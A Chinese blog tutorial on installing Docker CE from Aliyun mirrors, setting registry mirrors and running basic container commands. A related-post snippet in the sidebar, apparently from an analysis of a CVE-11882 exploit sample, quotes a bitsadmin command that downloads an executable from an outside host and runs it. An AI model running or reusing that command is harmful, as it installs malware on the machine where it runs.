文档章节

Docker 快速教程

i
 iblackangel
发布于 2017/08/06 21:56
字数 539
阅读 17
收藏 0

什么是 Docker

Docker 是一个开源的应用容器引擎。权威解释可参考 Docker 官方文档 或者 Docker 中国官方文档 的解释。

非常重要的网站:

  1. Docker 官网 https://www.docker.com
  2. Docker 中国官网 https://www.docker-cn.com
  3. 阿里云开发者平台 https://dev.aliyun.com

安装 Docker

参考 Docker CE 镜像源站,从阿里云安装速度较快,如果需要官方安装,查阅官网相关资料

Ubuntu 14.04/16.04

  1. 安装必要系统工具

    sudo apt-get update
    sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common
    
  2. 安装 GPG 证书

    curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
    
  3. 写入软件源

    sudo add-apt-repository "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"
    
  4. 更新并安装 Docker-CE

    sudo apt-get update
    sudo apt-get install -y docker-ce
    

CentOS 7

  1. 安装必要系统工具

    sudo yum install -y yum-utils device-mapper-persistent-data lvm2
    
  2. 添加软件源信息

    sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
    
  3. 更新并安装 Docker-CE

    sudo yum makecache fast
    sudo yum install -y docker-ce
    
  4. 开启 Docker 服务

    sudo systemctl enable docker
    sudo systemctl start docker
    

安装校验

docker version

Docker 镜像加速器

当你下载安装的 Docker Version 不低于 1.10 时,建议直接通过 daemon config 进行配置。

修改文件 /etc/docker/daemon.json 进行配置(没有时新建该文件)。

可参考官方文档 Docker 中国官方镜像加速Configure the Docker daemon

或者阿里云博客文档 Docker 镜像加速器

中国官方镜像加速:

{
  "registry-mirrors": ["https://registry.docker-cn.com"]
}

阿里云加速:

{ 
    "registry-mirrors": ["https://0ardnxoa.mirror.aliyuncs.com"]
}

重启 Docker

  1. Ubuntu 14.04

    sudo /etc/init.d/docker restart
    
  2. CentOS 7

    sudo systemctl restart docker
    

检查镜像地址

通过 docker info 命令进行查看

docker info

运行交互式容器

docker run -it ubuntu

搜索 Docker 镜像

  1. 通过阿里云的开发者平台 [https://dev.aliyun.com] 进行搜索。[推荐]

  2. 通过命令行搜索

    docker search ubuntu
    
  3. 通过 Docker 官网进行搜索。

下载镜像

docker pull centos

运行 Docker 输出 hello world

docker run centos /bin/echo "hello world"

Docker 查看日志

docker logs <container>

停止容器

docker ps 
docker stop <amazing_cori>

删除所有容器

docker rm $(docker ps -qa)

查看 Docker 对象信息

docker inspect NAME|ID

参考资料

[1] Docker
[2] Docker CE 镜像源站
[3] Docker 镜像加速器
[4] 百度百科 Docker
[5] 开发者平台
[6] Configure the Docker daemon

© 著作权归作者所有

共有 人打赏支持
i
粉丝 0
博文 47
码字总数 14784
作品 0
广州
程序员
在OS X安装Docker

在学习Docker的过程中仔细的阅读了官方的入门教程, 为加深学习的印象, 翻译此教程, 也同时方便他人学习使用. 目录 开始使用Docker 在OS X安装Docker 理解镜像(images)和容器(containers) 搜索...

暗之幻影
2016/12/10
12
0
Docker 学习资源整理

作者:林梓 链接:https://zhuanlan.zhihu.com/p/23508637 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 Docker 是近年来非常火的容器技术,而且啊 Do...

落叶追风
2016/11/22
31
0
无忧之道:Docker中容器的备份、恢复和迁移

今天,我们将学习如何快速地对docker容器进行快捷备份、恢复和迁移。Docker是一个开源平台,用于自动化部署应用,以通过快捷的途径在称之为容器的轻量级软件层下打包、发布和运行这些应用。它...

奔跑的阿飞
2017/08/30
0
0
docker集群部署:第1部分:定位和设置

docker集群部署:第1部分:定位和设置 在这个由六部分组成的教程中: (1)在此页面上获取设置和导向。 (2)建立并运行你的第一个应用程序 (3)把你的应用变成一个扩展服务 (4)跨多台机器...

品鉴初心
01/22
0
0
Windows系统修改Docker镜像下载地址

一、序言 Docker在安装完成后,默认镜像下载地址是国外的,在当前国内特殊的网络环境下,镜像下载是十分耗时的,为了克服跨洋网络延迟,能够快速高效下载Docker镜像,所以,国内的开发者们纷...

扶七
04/16
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
17分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
30分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
31分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
42分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部